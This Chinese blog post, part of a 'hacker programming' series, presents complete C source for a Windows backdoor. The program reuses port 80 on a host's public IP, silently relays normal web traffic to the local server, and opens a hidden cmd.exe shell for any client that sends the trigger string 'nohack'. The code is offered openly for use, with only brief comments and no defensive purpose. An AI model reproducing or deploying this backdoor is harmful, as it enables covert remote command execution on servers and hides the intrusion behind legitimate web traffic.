注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

熊猫正正的博客

熊猫正正的天空

 
 
 

日志

 
 

黑客编程(二十四)端口复用技术  

2011-07-10 15:54:01|  分类: C/C++ |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
#include "stdafx.h"
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")

int cmdshell(SOCKET s)
{
STARTUPINFO si;
GetStartupInfo(&si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
//使cmd的输入输出直接和socket关联
si.hStdInput = si.hStdOutput = si.hStdError = (void*)s;
char cmdline[256];
//得到cmd路径
GetSystemDirectory(cmdline,sizeof(cmdline));
strcat(cmdline,"\\cmd.exe");
PROCESS_INFORMATION ProcessInformation;
int ret;
//建立cmd进程
ret = CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
//等待进程结束
WaitForSingleObject(ProcessInformation.hProcess,INFINITE);
CloseHandle(ProcessInformation.hProcess);
return 0;
}

DWORD WINAPI ThreadProc(LPVOID lpParam)
{
SOCKET sClient = (SOCKET)lpParam;
SOCKET sNative;
char buff[4096] = {0};
SOCKADDR_IN saddr;
DWORD val;
saddr.sin_family = AF_INET;
saddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(80);
//建立套接字
if((sNative = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) == SOCKET_ERROR)
{
printf("socket error\n");
return 0;
}

val = 100;

//设置收发数据超时时间
if(setsockopt(sNative,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val)) != 0)
{
printf("setsockopt sNative error \n");
return 0;
}

if(setsockopt(sClient,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val)) != 0)
{
printf("setsockopt sClient failed \n");
return 0;
}

//连接127.0.0.1的80端口
if(connect(sNative,(SOCKADDR *)&saddr,sizeof(saddr)) != 0)
{
printf("connect sNative failed \n");
closesocket(sNative);
closesocket(sClient);
return 0;
}

DWORD ret;
//循环接收从客户发来的数据,发给127.0.0.1,并判断特征字符
//同时把从127.0.0.1收到的数据发给客户
while(TRUE)
{
//接收从客户来的数据
ret = recv(sClient,buff,4096,0);
if(ret > 0)
{
//判断特征字符串,相同则调用后门函数
if(strncmp(buff,"nohack",6) == 0)
{
cmdshell(sClient);
break;
}
//发送给127.0.0.1
send(sNative,buff,ret,0);
}
else if(ret == SOCKET_ERROR)
break;

//接收从127.0.0.1来的数据
ret = recv(sNative,buff,4096,0);
if(ret > 0)
//发送给客户
send(sClient,buff,ret,0);
else if(ret == SOCKET_ERROR)
break;
}

closesocket(sClient);
closesocket(sNative);

return 0;
}

int main(int argc, char* argv[])
{
char szHost[256];
sockaddr_in saddr;
sockaddr_in caddr;
SOCKET sListen;
SOCKET sClient[1000];
WSADATA wsaData;
WORD sockVersion = MAKEWORD(2,2);
//加载winsock库
if(WSAStartup(sockVersion,&wsaData) != 0)
return 0;

//得到本地的一块网卡的IP
gethostname(szHost,256);
hostent *pHost = gethostbyname(szHost);
in_addr addr;
memcpy(&addr.S_un.S_addr,pHost->h_addr_list[0],pHost->h_length);
saddr.sin_family = AF_INET;
//设置要绑定的IP地址,公网IP
saddr.sin_addr.S_un.S_addr = addr.S_un.S_addr;
saddr.sin_port = htons(80);
//建立套接字
sListen = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
if(sListen == SOCKET_ERROR)
{
printf("WSASocket error \n");
return 0;
}

int val = 1;
//设置套节字为可以重复绑定端口
if(setsockopt(sListen,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)) != 0)
{
printf("setsockopt error \n");
return 0;
}

//绑定套接字到公网IP上
if(bind(sListen,(SOCKADDR *)&saddr,sizeof(saddr)) == SOCKET_ERROR)
{
printf("bind error \n");
return 0;
}

//接听套接字
listen(sListen,1000);
DWORD ThreadId;
HANDLE hThread;
for(int i = 0 ; i < 1000 ; i++)
{
int Addrsize = sizeof(caddr);
//接受新连接
sClient[i] = accept(sListen,(struct sockaddr *)&caddr,&Addrsize);
printf("%s\n",inet_ntoa(caddr.sin_addr));
if(sClient[i] != INVALID_SOCKET)
{
//开启新线程
hThread = CreateThread(NULL,0,ThreadProc,(LPVOID)sClient[i],0,&ThreadId);
if(hThread == NULL)
{
printf("CreateThread error");
break;
}
}
CloseHandle(hThread);
}
closesocket(sListen);
WSACleanup();
return 0;
}

  评论这张
 
阅读(227)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017